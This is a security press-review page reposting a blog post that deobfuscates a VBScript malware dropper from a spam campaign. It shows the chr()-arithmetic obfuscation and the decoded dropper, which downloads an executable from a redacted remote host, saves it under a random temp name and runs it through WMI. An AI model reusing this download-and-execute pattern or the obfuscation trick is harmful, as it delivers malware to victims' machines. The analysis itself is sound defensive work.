Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]

---

S'abonner au fil RSS global de la revue de presse

---

Présentation : A quick post to give a very efficient way to unobfuscate some softly obfuscated Visual Basic Scripts. In a recent viral spam campaign a .vbs file was attached to the email and when I tried to read it I had a common bad surprise. It was obfuscated. The obfuscated content was as follow Execute chr 659772 8046 chr 4813-4716 chr 3417-3307 chr -2632 2732 chr 1590-1479 chr 51012 468 chr 8863-8758 chr 5043-4921 chr -9292 9393 chr 5616-5603 chr 2240 224 chr -5205 5315 chr 747773 7709 chr 373761 3429 chr -7356 7457 chr 1748-1672 chr -6156 6257 chr 264550 2405 chr -6511 6614 ... chr -5402 5436 chr 446823 6669 chr 1132590 9935 chr 380467 3767 chr 317190 3270 chr -8794 8910 chr -5560 5661 chr 5345-5311 chr -7211 7255 chr 5597-5565 chr 2777-2666 chr 2531-2433 chr -7894 8000 chr -2045 2125 chr 504-390 chr 8658 78 chr 125-22 chr 1053360 9240 chr 453572 4676 chr 959-850 chr 276545 6745 chr 7730-7717 chr 27750 2775 vbcrlf A pretty simple, but annoying, obfuscation technique. Each character of the code is replaced by a call to the chr function with an arithmetic operation that gives the character code as a parameter. To unobfuscate it I used a well known Javascript desobfuscation technique and replace the Execute function by something that writes the code to the command line Dim consoleSet console WScript.StdOut console.WriteLine chr 659772 8046 chr 4813-4716 chr 3417-3307 chr -2632 2732 chr 1590-1479 chr 51012 468 chr 8863-8758 chr 5043-4921 chr -9292 9393 chr 5616-5603 chr 2240 224 chr -5205 5315 chr 747773 7709 chr 373761 3429 chr -7356 7457 chr 1748-1672 chr -6156 6257 chr 264550 2405 chr -6511 6614 ... chr -5402 5436 chr 446823 6669 chr 1132590 9935 chr 380467 3767 chr 317190 3270 chr -8794 8910 chr -5560 5661 chr 5345-5311 chr -7211 7255 chr 5597-5565 chr 2777-2666 chr 2531-2433 chr -7894 8000 chr -2045 2125 chr 504-390 chr 8658 78 chr 125-22 chr 1053360 9240 chr 453572 4676 chr 959-850 chr 276545 6745 chr 7730-7717 chr 27750 2775 vbcrlf Then I just had to execute the modified .vbs file with the cscript command to get the source C Users lab Desktop Red Zonecscript xxxxxxx.vbsMicrosoft R Windows Script Host Version 5.8Copyright C Microsoft Corporation 1996-2001. Tous droits réservés. RandomizenameLength 10randomname Do While Len randomname Asc a And currRandCur Asc A And currRandCur Asc 0 And currRandCur Asc 9 Thenrandomname randomname Chr currRandCur End IfLoopstrSource http xxxxxxxxxxxxx.com includes Archive xxxxx.exe strDest WScript.CreateObject Scripting.FileSystemObject .GetSpecialFolder 2 randomname .exe set HTTP CreateObject Microsoft.XMLHTTP HTTP.open GET , strSource, FalseHTTP.sendset Stream createobject adodb.stream Const adTypeBinary 1Const adSaveCreateNotExist 1Const adSaveCreateOverWrite 2Stream.type adTypeBinaryStream.openStream.write HTTP.responseBodyStream.savetofile strDest, adSaveCreateOverWriteset Stream nothingset HTTP nothing set objWMIService getobject winmgmts . root cimv2 Set objProcess objWMIService.Get Win32_Process Set objProgram objProcess.Methods_ _ Create .InParameters.SpawnInstance_objProgram.CommandLine strDestSet strShell objWMIService.ExecMethod Win32_Process , Create , objProgram Finally the code is pretty simple, it's a dropper that downloads another Malware to the machine, saves it to a 'random' name and executes it through WMI. Quick, not so dirty and nothing really new... but efficient That's all folks.

Les mots clés de la revue de presse pour cet article : malware
Les videos sur SecuObs pour les mots clés : malware
Les mots clés pour les articles publiés sur SecuObs : malware
Les éléments de la revue Twitter pour les mots clé : malware





Les derniers articles du site "Cup of Security" :

- Free Mobile ou Roaming Orange, vérifiez le vous-même avec votre iPhone ou smartphone Android
- Remove a Certification Authority from Mac OS X Keychain UPDATE
- Impact of the Anonymous hacktivism on Ebay's stock
- Unobfuscate Visual Basic Script malware dropper
- Lockpicking is useless
- Impact des incidents de sécurité sur les cours de sociétés cotées
- Les utilisateurs de mobiles et le phishing
- Facebook Trust no click.
- Quels scénarios pour le contournement du verrouillage sur iOS 4.1
- Un iPad ne dort jamais vraiment

---

S'abonner au fil RSS global de la revue de presse

---